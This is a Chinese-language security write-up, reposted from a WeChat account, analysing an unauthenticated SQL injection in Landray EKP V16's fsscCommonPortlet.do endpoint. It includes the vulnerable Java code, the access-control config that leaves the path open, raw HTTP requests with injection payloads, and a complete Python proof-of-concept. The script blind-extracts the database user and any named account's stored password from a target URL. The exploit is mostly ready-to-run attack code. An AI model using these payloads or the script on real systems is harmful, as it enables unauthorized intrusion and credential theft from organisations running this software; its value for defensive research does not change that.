本地测试环境版本:V16.0.6.R.20220729
漏洞分析
漏洞路径在:/fssc/common/fssc_common_portlet/fsscCommonPortlet.do,对应的Action为FsscCommonPortletAction
,在其getICareByFdId
方法中存在注入漏洞:
public ActionForward getICareByFdId(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception { TimeCounter.logCurrentTime("Action-save", true, this.getClass()); KmssMessages messages = new KmssMessages(); try { if (!"POST".equals(request.getMethod())) { throw new UnexpectedRequestException(); } StringBuilder sql = new StringBuilder(); sql.append("select fdNum,docSubject,fdName,createTime,fdStatus,IsFollow from " + FsscCommonICare.class.getName() + " where 1 = 1 and IsFollow = '1' and docCreator = '" + UserUtil.getUser().getFdId() + "'"); String fdNum = request.getParameter("fdNum"); if (StringUtil.isNotNull(fdNum)) { sql.append(" and fdNum ='" + fdNum + "'"); } Query query = this.getCommonICareServiceImp(request).getBaseDao().getHibernateSession().createQuery(sql.toString()); List<Object[]> list = query.list(); ...... }
fdNum参数可控,很明显的SQL注入。在WEB-INF/KmssConfig/fssc/common/design.xml文件中定义了/fssc/common/
路径下的权限访问:
<?xml version="1.0" encoding="UTF-8"?><configs xsi:schemaLocation="http://www.example.org/design-config ../../design.xsd " xmlns="http://www.example.org/design-config" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <module urlPrefix="/fssc/common/" messageKey="fssc-common:module.fssc.common" defaultValidator="true"> <roles></roles> <request path="tree.jsp*" defaultValidator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/> <request path="fssc_common_transfer_field/fsscCommonTransferField.do*" validatorParameter="recid=fdId,model=com.landray.kmss.fssc.common.model.FsscCommonTransferField" defaultValidator="roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)"> <query queryString="method=edit|update" validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/> <query queryString="method=delete|deleteall" validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/> <query queryString="method=view" validator="roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)"/> <query queryString="method=updateallSs" validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/> <query queryString="method=updateSs|openSs" validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)&[roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)]"/> <query queryString="method=updateallS" validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/> <query queryString="method=updateS|openS" validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)&[roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)]"/> <query queryString="method=updateallSss" validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/> <query queryString="method=updateSss|openSss" validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)&[roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)]"/> </request> <request path="fssc_common_transfer_log/fsscCommonTransferLog.do*" validatorParameter="recid=fdId,model=com.landray.kmss.fssc.common.model.FsscCommonTransferLog" defaultValidator="roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)"> <query queryString="method=edit|update" validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/> <query queryString="method=delete|deleteall" validator="roleValidator(role=ROLE_FSSCCOMMON_SETTING)"/> <query queryString="method=view" validator="roleValidator(role=ROLE_FSSCCOMMON_DEFAULT)"/> </request> </module> <profileConfig key="fssc/common" messageKey="{fssc-common:module.fssc.common}" url="/sys/profile/moduleindex.jsp?nav=/fssc/common/tree.jsp" icon="km_comminfo" description="{fssc-common:module.fssc.common.description}"/></configs>
正常情况下,访问/fssc/common/
路径下的所有action,validator都会为true,即未授权访问,在上面的design.xml配置文件中,只对/fssc/common/
的如下路径做了权限控制:
tree.jsp*
fssc_common_transfer_field/fsscCommonTransferField.do*
fssc_common_transfer_log/fsscCommonTransferLog.do*
而漏洞触发路径/fssc/common/fssc_common_portlet/fsscCommonPortlet.do
并未存在于上述限制路径,所以可直接未授权访问。
漏洞复现
step 1
访问save方法,填充一下数据库,数据包如下:
POST /ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
method=saveICare&fdId=&fdNum=1&docSubject=1&fdName=1&createTime=1&fdStatus=1
step 2
验证存在SQL注入漏洞
-
fdNum=asdasd'+or+'1'='2 -
fdNum=asdasd'+or+'1'='1
POST /ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
method=getICareByFdId&fdNum=asdasd'+or+'1'='1&ordertype=down
POC脚本如下:(本地测试环境是MSSQL,Mysql or Oracle自行修改脚本)
import argparseimport requestsheader = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"}def exploit_user(url,db_user): global header user_name = "" for i in range(1, 20): low = 1 top = 255 mid = (low + top) // 2 while low < top: send_data = { "method": "getICareByFdId", "ordertype": "down", "fdNum": "aNsSl' or ascii(substring((user_name()),{},1)) < {} and '1'='1".format( i, mid) } res = requests.post(url, data=send_data, headers=header) if "docSubject" in res.text: top = mid else: low = mid + 1 mid = (top + low) // 2 if mid <= 1 or mid >= 254: break user_name = user_name + chr(mid - 1) print("[+]user_name:{}".format(user_name)) print("�33[F", end="") print("[+]user_name:{}".format(user_name))def exploit(url,username): global header password_len = 32 password = "" for i in range(1,password_len+1): low = 1 top = 255 mid = (low + top) // 2 while low < top: send_data = { "method": "getICareByFdId", "ordertype": "down", "fdNum": "aNsSl' or ascii(substring((select fdPassword from com.landray.kmss.sys.organization.model.SysOrgPerson where fdLoginName='{}'),{},1)) < {} and '1'='1".format( username,i, mid) } res = requests.post(url,data=send_data,headers=header) if "docSubject" in res.text: top = mid else: low = mid + 1 mid = (top + low) // 2 password = password + chr(mid-1) print("[+]password:{}".format(password)) print("�33[F",end="") print("[+]password:{}".format(password))def scan_vuln(url,username,db_user): global header req_url = url.strip("/") + "/fssc/common/fssc_common_portlet/fsscCommonPortlet.do" step_data = { "method":"saveICare", "fdId:""," "fdNum":"1", "docSubject":"1", "fdName":"test", "createTime":"1", "fdStatus":"1" } try: req1 = requests.post(req_url,data=step_data,headers=header) if req1.status_code == 200 and "result" in req1.text: print("[+]Vuln exist,start inject password:") if db_user == "check": exploit_user(req_url,db_user) else: exploit(req_url,username) else: print("[-]Vuln not exist.") exit(0) except: print("[-]request error.") exit(0) passdef main(): parser = argparse.ArgumentParser(description="Process command line arguments") parser.add_argument('-u', '--url', required=True, help='Target URL') parser.add_argument('-db_user', '--db_user', required=False, help='db_user') parser.add_argument('-U', '--username', required=False, help='Username argument') args = parser.parse_args() url = args.url db_user = args.db_user username = args.username scan_vuln(url, username, db_user)if __name__ == '__main__': main()
原文始发于微信公众号(船山信安):蓝凌EKP V16 未授权SQL注入漏洞分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论